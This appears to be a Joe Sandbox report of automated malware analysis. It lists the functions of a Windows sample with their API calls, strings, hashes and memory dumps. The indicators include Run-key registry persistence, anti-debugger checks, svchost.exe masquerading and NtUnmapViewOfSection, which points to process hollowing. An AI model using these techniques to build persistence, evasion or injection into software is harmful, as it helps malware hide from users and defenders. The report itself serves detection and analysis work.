Opcode Fuzzy Hash: 3b8e8bd193397a22c989b775499798885fd0ff8c1caff98f5e3a105427b3f2ea
Instruction Fuzzy Hash: AE0104A5F29B5780EF149B61F4601B96364EFA6384F685031FA4D87BA7EE3CE141D700

Function 00007FF60E630F48 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,00007FF60E630830), ref: 00007FF60E630F77
RegSetValueExW.ADVAPI32 ref: 00007FF60E630FE0
RegCloseKey.ADVAPI32 ref: 00007FF60E630FEF

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00007FF60E630F69

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: CloseOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 779948276-1428018034
Opcode ID: 4a561f427d5a0833e66d88e195127c8b8fb31ed43f9b64d14c46dfc272e21bc7
Instruction ID: 3177e71b35d86347d5ef2b2aac785e94b3b8982963eff7ba73c9126af0dcff0f
Opcode Fuzzy Hash: 4a561f427d5a0833e66d88e195127c8b8fb31ed43f9b64d14c46dfc272e21bc7
Instruction Fuzzy Hash: 60114276628B91C6DB908F15F44466A77B0F7997A0F601225FA9E43BA8DF3DD044DB00

Function 00007FF60E6456A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60E6329AC: _getptd.LIBCMT ref: 00007FF60E6329B9
Part of subcall function 00007FF60E6329AC: _inconsistency.LIBCMT ref: 00007FF60E6329C7
Part of subcall function 00007FF60E6329AC: _getptd.LIBCMT ref: 00007FF60E6329CC
Part of subcall function 00007FF60E6329AC: _inconsistency.LIBCMT ref: 00007FF60E6329E8

__DestructExceptionObject.LIBCMT ref: 00007FF60E6456EE
_getptd.LIBCMT ref: 00007FF60E6456F4
_getptd.LIBCMT ref: 00007FF60E645707

Part of subcall function 00007FF60E632A3C: _getptd.LIBCMT ref: 00007FF60E632A45

Strings

csm, xrefs: 00007FF60E6456C1

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: _getptd$_inconsistency$DestructExceptionObject
String ID: csm
API String ID: 2821275340-1018135373
Opcode ID: c927b15099e8d8d8a14847beea8bde30514249613e58caf7d211df8e6c6ec09d
Instruction ID: 2aee99019f5bbe419409dd0e93e117289317c53e860713c88b67f742617eb782
Opcode Fuzzy Hash: c927b15099e8d8d8a14847beea8bde30514249613e58caf7d211df8e6c6ec09d
Instruction Fuzzy Hash: 48016767D1469286DB20DF35E8512BC23A5EB75755F241431FD4E8F656CE28D480D300

Function 00007FF60E6122BC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF60E6122E8
ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF60E612301

Strings

%SystemRoot%\SysWoW64\svchost.exe, xrefs: 00007FF60E6122E1
%SystemRoot%\system32\svchost.exe, xrefs: 00007FF60E6122FA

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: %SystemRoot%\SysWoW64\svchost.exe$%SystemRoot%\system32\svchost.exe
API String ID: 237503144-2871004979
Opcode ID: 26d235ddc8eb93f07edcb8965c1cf58c0c2aab6b495efb37e2acaf60aadbeeb9
Instruction ID: 965ef4531b7ece2536440cd9867868b2e2b53f8081003f0a576ef247b0baf269
Opcode Fuzzy Hash: 26d235ddc8eb93f07edcb8965c1cf58c0c2aab6b495efb37e2acaf60aadbeeb9
Instruction Fuzzy Hash: CFF0A7B1A3D5A2C1D7118B12F45002E7B60F7B5B80F601432F58A83A68CF2CE540EF00

Function 00007FF60E611088 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF60E611098
GetProcAddress.KERNEL32 ref: 00007FF60E6110A8

Strings

GetThreadId, xrefs: 00007FF60E61109E
kernel32, xrefs: 00007FF60E611091

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetThreadId$kernel32
API String ID: 1646373207-2383230424
Opcode ID: e461afaf8c1bd09b320089634cf66b20fcf42d2cd2d08406a6f8b5433de6df5f
Instruction ID: 41643a6450766168c2f1e4d0809536905bc4efdeb11323e7a08a8af5d2326de1
Opcode Fuzzy Hash: e461afaf8c1bd09b320089634cf66b20fcf42d2cd2d08406a6f8b5433de6df5f
Instruction Fuzzy Hash: 85E09261D29A92C2D7619F10F81432D23B0FB95745FA00075F68E82664DF3CD54DDB00

Function 00007FF60E611600 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF60E61160B
GetProcAddress.KERNEL32 ref: 00007FF60E611622

Strings

kernel32, xrefs: 00007FF60E611604
CreateProcessInternalW, xrefs: 00007FF60E611616

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CreateProcessInternalW$kernel32
API String ID: 1646373207-4069603262
Opcode ID: d95c6e7916faab0d17594eb83d8a00f0299812b173539474de4610889b1bf182
Instruction ID: b6636a6a41b388058ea680efe05d2cf570b59e02f89b21238386539f6eefb00d
Opcode Fuzzy Hash: d95c6e7916faab0d17594eb83d8a00f0299812b173539474de4610889b1bf182
Instruction Fuzzy Hash: AAE01A66E39A62C2E711DB00F92036923A0BB75780FA00132F58EC2260DF3CE559E600

Function 00007FF60E62BCD8 Relevance: 6.1, APIs: 4, Instructions: 121COMMON

Download Yara Rule

APIs

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF60E62BD60
_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF60E62BDBD
char_traits.LIBCPMTD ref: 00007FF60E62BE2C
char_traits.LIBCPMTD ref: 00007FF60E62BECF

Part of subcall function 00007FF60E62B728: _Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF60E62B778
Part of subcall function 00007FF60E62B728: _Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF60E62B826
Part of subcall function 00007FF60E62B728: char_traits.LIBCPMTD ref: 00007FF60E62B8FD

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Mtx_guardMtx_guard::~_$char_traits
String ID:
API String ID: 1723400902-0
Opcode ID: 3577689191e647b2eba0244f68066ee36e99a69f77505bdd8bbac9a00180cfdb
Instruction ID: dfbe83b3a4bb8565c93c567f38bee0895cf9a7a9d23d71a485ec954b8ac80301
Opcode Fuzzy Hash: 3577689191e647b2eba0244f68066ee36e99a69f77505bdd8bbac9a00180cfdb
Instruction Fuzzy Hash: D651EF76A2CF9582DA10DB5AF44026EA761F7D5BC4F100526FB9D87B69DF3CE4408B40

Function 00007FF60E6400B0 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF60E64011D
GetLastError.KERNEL32 ref: 00007FF60E64012A
WideCharToMultiByte.KERNEL32 ref: 00007FF60E640173
GetLastError.KERNEL32 ref: 00007FF60E640185

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: cc073f878938fc799904678768523023e3297de0d63febdb3c1fef3ad7fee24c
Instruction ID: b47b53d6b792e37796dd0eddcbd658b099c45d67e849c32d834fbf8f0a82babb
Opcode Fuzzy Hash: cc073f878938fc799904678768523023e3297de0d63febdb3c1fef3ad7fee24c
Instruction Fuzzy Hash: BE3186B1A287A282E7509B71B41017A76D5FB91BA4F344739FB9983BE5DF3CD011AB00

Function 00007FF60E617DF4 Relevance: 6.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

shared_ptr.LIBCMTD ref: 00007FF60E617E13

Part of subcall function 00007FF60E61F830: shared_ptr.LIBCMTD ref: 00007FF60E61F83E

shared_ptr.LIBCMTD ref: 00007FF60E617E1D
allocator.LIBCPMTD ref: 00007FF60E617E42
allocator.LIBCPMTD ref: 00007FF60E617E56

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: shared_ptr$allocator
String ID:
API String ID: 426846764-0
Opcode ID: 46d84b3b4c7e8204a3866c78015af3c28403f43d119607c22453800ec736fa57
Instruction ID: a7d8bda9dbed4406badb55d0c54badd69577142cf113c15a7b1fc9e012489560
Opcode Fuzzy Hash: 46d84b3b4c7e8204a3866c78015af3c28403f43d119607c22453800ec736fa57
Instruction Fuzzy Hash: 6F013C32A1CB9181EA12DB55F44006AA7A0FBD4BC0F644172FACD8776ACF3CE141DB40

Function 00007FF60E617B08 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

shared_ptr.LIBCMTD ref: 00007FF60E617B3B

Part of subcall function 00007FF60E61F8F8: shared_ptr.LIBCMTD ref: 00007FF60E61F906

allocator.LIBCPMTD ref: 00007FF60E617B48
shared_ptr.LIBCMTD ref: 00007FF60E617B57
allocator.LIBCPMTD ref: 00007FF60E617B64

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: shared_ptr$allocator
String ID:
API String ID: 426846764-0
Opcode ID: aa8f5e9cd53f442f27dac48b976c39207e82458efe65fc0543b9c79fb7a2506d
Instruction ID: d4eaf27e1246a941e73c828a193b7f29bcd11c9bef711198f47596ad0834ced6
Opcode Fuzzy Hash: aa8f5e9cd53f442f27dac48b976c39207e82458efe65fc0543b9c79fb7a2506d
Instruction Fuzzy Hash: 27016D22A2CB9581EA01DB65F44002AA3A1FBD4BC0F644132FACD8776ADF3CE1419B00

Function 00007FF60E618320 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 196COMMON

Download Yara Rule

Strings

$, xrefs: 00007FF60E6183EA
$, xrefs: 00007FF60E618602

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID:
String ID: $$$
API String ID: 0-233714265
Opcode ID: bea3f275805cb3c61198a70ac9404b13dde8b97b0dc19bbc96532ad67e767dc4
Instruction ID: e47ddf48986b7886444ee68dddc640e45c1d59c6f5ea01d9b042d734e22e93c8
Opcode Fuzzy Hash: bea3f275805cb3c61198a70ac9404b13dde8b97b0dc19bbc96532ad67e767dc4
Instruction Fuzzy Hash: E1A14A2261CBD580DA71CB45F4903AEB3A0F7D5780F648822FA8E93B59DE3CD445DB40

Analysis Process: svchost.exePID: 7124, Parent PID: 3228COMMON

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1125
Total number of Limit Nodes:	10

Executed Functions

Function 00007FF60BF9FBA0 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF60BFA0150: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF60BF9FBC5), ref: 00007FF60BFA0154

ExitProcess.KERNEL32 ref: 00007FF60BF9FBCE
ExitProcess.KERNEL32 ref: 00007FF60BF9FC1D

Strings

svchost.exe, xrefs: 00007FF60BF9FBEF
GqgWzd, xrefs: 00007FF60BF9FC08
GqgWzd, xrefs: 00007FF60BF9FCFA

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: ExitProcess$DebuggerPresent
String ID: GqgWzd$GqgWzd$svchost.exe
API String ID: 613740775-3706196489
Opcode ID: 4c5e5395f8df4162c819ca1ad9a9c7c381164b5cf8947f2502796a3ed018fcac
Instruction ID: 91d2d2b184a18307d0a789970ebf7f55743a777cdc36a8a095e2ccbd3efb8823
Opcode Fuzzy Hash: 4c5e5395f8df4162c819ca1ad9a9c7c381164b5cf8947f2502796a3ed018fcac
Instruction Fuzzy Hash: E951E57190C64292E768AF31E9157AA26A1EF8D308F60C53AE58FC75B5CF3DE149CA40

Function 00007FF60BFA060C Relevance: 10.6, APIs: 7, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,00007FF60BF9FBD9), ref: 00007FF60BFA0610
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,00007FF60BF9FBD9), ref: 00007FF60BFA0623
GetTokenInformation.KERNELBASE ref: 00007FF60BFA0654
GetTokenInformation.KERNELBASE ref: 00007FF60BFA0686
CloseHandle.KERNEL32 ref: 00007FF60BFA0695

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Token$InformationProcess$CloseCurrentHandleOpen
String ID:
API String ID: 434396405-0
Opcode ID: bab2983d0c2064314564850c59faab085e0d37512c9f18e1fbfae7b8d179e830
Instruction ID: 89be0ca0ccb9eeb60e0b3e06d95f20fbb74d970d1b5b5864364db1a45763a75e
Opcode Fuzzy Hash: bab2983d0c2064314564850c59faab085e0d37512c9f18e1fbfae7b8d179e830
Instruction Fuzzy Hash: 3C31E57661DA4186D754DB15F49066AB7A0FBC9B44F209036EA8FC3B68DF3DD8458F00

Function 00007FF60BFA0150 Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF60BF9FBC5), ref: 00007FF60BFA0154
GetCurrentProcess.KERNEL32 ref: 00007FF60BFA016A
CheckRemoteDebuggerPresent.KERNELBASE ref: 00007FF60BFA0178

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: DebuggerPresent$CheckCurrentProcessRemote
String ID:
API String ID: 3920101602-0
Opcode ID: f99d0651fdf556c9b584e72e4d5c1ff9382a0391580ff3d2c9f68253d8046eac
Instruction ID: fa0e06e83889d1dca8935e43d16cb359a87e9eaf9f157b5d28c7ae4489fe698d
Opcode Fuzzy Hash: f99d0651fdf556c9b584e72e4d5c1ff9382a0391580ff3d2c9f68253d8046eac
Instruction Fuzzy Hash: 9AF0586490C18285EB384B20A9083BA6FE0AB4DB8DF208974D58EC72A4CF2CD548DF21

Function 00007FF60BFA0740 Relevance: 4.5, APIs: 3, Instructions: 21
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexExA.KERNELBASE ref: 00007FF60BFA0755
GetLastError.KERNEL32 ref: 00007FF60BFA076C
CloseHandle.KERNEL32 ref: 00007FF60BFA077E

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: CloseCreateErrorHandleLastMutex
String ID:
API String ID: 4294037311-0
Opcode ID: 59ab599f7491f754aec7b61761454f8aff9e05966f05be0cfe8a916997727bdf
Instruction ID: c862e7bc0f7acfd4596ab2ba3c374700bb6da253eb9e42549afecf9b368ae917
Opcode Fuzzy Hash: 59ab599f7491f754aec7b61761454f8aff9e05966f05be0cfe8a916997727bdf
Instruction Fuzzy Hash: EFF0A56590CB42A2EA645B60A50436A67A0FB9A740F608535E98FC3664CF3DF4999E00

Function 00007FF60BF9DFBC Relevance: 3.0, APIs: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00007FF60BF9DFCF
GetProcAddress.KERNEL32 ref: 00007FF60BF9DFE4

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 0d76b06add167d4cf6fec4a5d31fc7408f5b7e96f421476ee3b93fcabe3639bc
Instruction ID: 11b498efc9df85965894bc0a0aebf9d7fdc6c757a7e9558577b7558e95399497
Opcode Fuzzy Hash: 0d76b06add167d4cf6fec4a5d31fc7408f5b7e96f421476ee3b93fcabe3639bc
Instruction Fuzzy Hash: EBE00276919F8592C6209B15F84401AB7B4F7CD798F605525EACD83B38DF3CC6A58B04

Function 00007FF60BFA0280 Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE ref: 00007FF60BFA029E

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 092c94a0028451cec1867d66aa68a9feed987baf5a0f91e012113381deae6093
Instruction ID: 0aaeaa97cc2358ba0d5d2e4933f46c2053911c98aa00c9d624969fb495514fdb
Opcode Fuzzy Hash: 092c94a0028451cec1867d66aa68a9feed987baf5a0f91e012113381deae6093
Instruction Fuzzy Hash: B7D01351E3898181D754D716E5557155290FFC8740F50C035E5CAC3574CF3CC095CF00

Non-executed Functions

Function 00007FF60BF9F204 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 445
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF60BF9F272

Strings

.reloc, xrefs: 00007FF60BF9F7FB
NtUnmapViewOfSection, xrefs: 00007FF60BF9F56D
ntdll, xrefs: 00007FF60BF9F558
@, xrefs: 00007FF60BF9F5EE

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

